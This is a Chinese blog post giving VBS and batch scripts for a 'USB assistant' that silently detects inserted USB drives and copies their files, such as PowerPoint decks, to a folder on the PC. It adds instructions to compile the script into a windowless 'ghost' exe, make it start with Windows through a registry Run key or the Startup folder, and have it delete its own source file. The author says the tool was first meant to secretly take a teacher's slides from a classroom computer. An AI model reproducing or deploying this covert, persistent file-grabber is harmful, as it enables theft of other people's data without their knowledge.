后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)
馬上期末考試了,老師復(fù)習(xí)課講得PPT是精簡(jiǎn)版的,老師說(shuō)了之前上課的PPT可以給但是這個(gè)不可以,如果得到期末必過(guò)了。本想著把我這個(gè)自己花了3個(gè)多小時(shí)做的U盤(pán)助手在教室的電腦上運(yùn)行著,下課我就可以得到PPT了,但是無(wú)奈我如此正義凜然,以及信息安全的專(zhuān)業(yè)我有著極好的專(zhuān)業(yè)素養(yǎng)。我還是放棄了做壞事。希望大家也是如此。當(dāng)然這個(gè)U盤(pán)助手還可以讓你更方便,比如你需要把U盤(pán)中的某一特定類(lèi)型的文檔經(jīng)常復(fù)制到電腦,自己手動(dòng)復(fù)制是不是很麻煩?或者經(jīng)常手動(dòng)備份U盤(pán)資料很麻煩,有了它你會(huì)更方便。
打包好的代碼及程序
這是網(wǎng)上找的vbs語(yǔ)言寫(xiě)的,有一定英語(yǔ)能力和vb能力的想必不難看懂,本人沒(méi)學(xué)過(guò),大致還是可以理解的,但是代碼看著太長(zhǎng),而且需要自己設(shè)定U盤(pán)盤(pán)符,復(fù)制文件類(lèi)型,目錄,顯得有些麻煩。
set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") dim USB, file, folder, files USB=inputbox("請(qǐng)輸入U(xiǎn)盤(pán)的盤(pán)符"&Chr(10)&"如插入的U盤(pán)為F盤(pán),則輸入F","插入的U盤(pán)盤(pán)符","F") folder=inputbox("請(qǐng)輸入復(fù)制到的文件夾"&Chr(10)&"如想復(fù)制到D盤(pán),請(qǐng)輸入D:\","請(qǐng)輸入復(fù)制到的文件夾","C:\USB") files=inputbox("請(qǐng)輸入要復(fù)制的文件類(lèi)型"&Chr(10)&"如要復(fù)制EXCEL文件,輸入xls;默認(rèn)為全部類(lèi)型","請(qǐng)輸入要復(fù)制的文件類(lèi)型","ALL") USB=USB & ":\" folder=folder & "\" if files="ALL"then file=USB & "*" else file=USB & "*." & files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop 下面詳細(xì)講解我自己寫(xiě)的bat實(shí)現(xiàn)
1、創(chuàng)建一個(gè)保存復(fù)制的文件的文件夾:
md C:\Upan(我這里創(chuàng)在了C盤(pán)根目錄)至于這句: setlocal enabledelayedexpansion 解釋起來(lái)太復(fù)雜,有篇博客就是說(shuō)這個(gè)的可以自己搜索下,這句幾乎是bat下for循環(huán)必須的語(yǔ)句
2、然后設(shè)置要檢測(cè)的可移動(dòng)磁盤(pán)(我的可移動(dòng)磁盤(pán)是d):
set "driver=d"3、然后用循環(huán)一直檢測(cè),直到檢測(cè)到U盤(pán)在執(zhí)行命令:for %%a in (!driver!) do (
::此處輸循環(huán)執(zhí)行的命令
)
for循環(huán)用法:for %%變量 in (集) do 命令,變量:(記住如果是在批處理中使用for命令時(shí),變量前的%需改為%%)這個(gè)變量名是由單個(gè)字母組成且區(qū)分大小寫(xiě)(原幫助是這么說(shuō)的,實(shí)際運(yùn)用中用單個(gè)數(shù)字作為變量名試過(guò)證明也可行),如%B和%b代表的是不同的變量。集:由系列文件、字符串或由命令產(chǎn)生的內(nèi)容形成的集合(當(dāng)然可用通配符 * ?,還可引用環(huán)境變量),FOR命令是按一定順序和規(guī)律分次讀取集中內(nèi)容,賦值給變量,并執(zhí)行do后的命令,進(jìn)行循環(huán)下一輪,直至集中內(nèi)容讀取完畢,而括號(hào)是格式必須的(in到后面括號(hào)之間要有空格)。命令大家都知道。
4、如果檢測(cè)到U盤(pán),則執(zhí)行復(fù)制命令,復(fù)制U盤(pán)中所有的PPT到我們創(chuàng)建的保存復(fù)制的文件的文件夾(C:\Upan):
if exist %%a: ( xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan exit )/C 有錯(cuò)誤也復(fù)制,/E 復(fù)制目錄和子目錄,包括空目錄,/H 也復(fù)制隱藏文件和系統(tǒng)文件,/Q 復(fù)制時(shí)不顯示文件名,/K 復(fù)制屬性,/Y 取消提示以確認(rèn)要覆蓋
5、使用跳轉(zhuǎn)語(yǔ)句goto,如果沒(méi)有檢測(cè)到U盤(pán)盤(pán)符就跳轉(zhuǎn)到for循環(huán)處繼續(xù)執(zhí)行檢測(cè)磁盤(pán)
::檢測(cè)U盤(pán)是否插入,插入則復(fù)制U盤(pán)中所有文件到指定盤(pán) @echo off md C:\Upan setlocal enabledelayedexpansion ::下面設(shè)置好要檢測(cè)的盤(pán)符,以空格或逗號(hào)相隔 set "driver=d" :start for %%a in (!driver!) do ( if exist %%a: ( xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan exit ) ) goto :start 這樣的bat運(yùn)行是有點(diǎn)沒(méi)中不足的,像這樣總是有個(gè)黑框挺難看的
下載bat轉(zhuǎn)exe的軟件如Quick Batch File Compiler,打開(kāi)軟件,選擇“打開(kāi)”來(lái)打開(kāi)寫(xiě)好的bat
然后找到“選項(xiàng)”設(shè)置幽靈應(yīng)用程序,然后點(diǎn)構(gòu)建,然后設(shè)置exe文件名并生成一個(gè)exe文件
,此時(shí)運(yùn)行該exe不會(huì)有任何顯示,但是可以在進(jìn)程列表看到已經(jīng)運(yùn)行了
如果你想讓這個(gè)程序開(kāi)機(jī)自動(dòng)運(yùn)行,可以通過(guò)vbs或者bat,或者直接把開(kāi)機(jī)自啟的bat命令添加在上面的文件按上述步驟完成。
1、VBS腳本實(shí)現(xiàn)
Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c for.bat",vbhide 把for.bat改為你想要開(kāi)機(jī)自啟動(dòng)的bat或者exe文件
2、bat命令獨(dú)立實(shí)現(xiàn)
1)修改注冊(cè)表
copy %0 c:\for.exe,把for.exe復(fù)制到C:\
下面那句是修改注冊(cè)表鍵值,讓C:\for.exe開(kāi)機(jī)自啟動(dòng)
最后一句是刪除for.exe源文件
復(fù)制下面代碼到新建文本文檔,只需要把for.exe改為你的bat文件名或者exe文件名,然后保存,把文檔名改為xxx.bat運(yùn)行就可以了
@echo off copy %0 c:\for.exe REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /f del %0 2)在系統(tǒng)啟動(dòng)菜單創(chuàng)建快捷方式
復(fù)制下面代碼到新建文本文檔,然后保存為xxx.bat運(yùn)行就可以了
@echo off copy %0 "%userprofile%\「開(kāi)始」菜單\程序\啟動(dòng)" del %0 3、把1)的代碼添加到前面bat文件的第二句(md C:\Upan)后面,注意:1)中的for.exe是指最后要轉(zhuǎn)換成exe文件的文件名,如果你要把bat轉(zhuǎn)換成的exe文件名為U盤(pán)助手.exe,那就把1)中的所有for.exe改為U盤(pán)助手.exe即可,或者你可以把生成的exe文件改為for.exe也可
總結(jié)
以上是生活随笔為你收集整理的后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【快速了解造成游戏过程卡的罪魁祸首】
- 下一篇: 《每天最重要的2小时》读书笔记PPT模板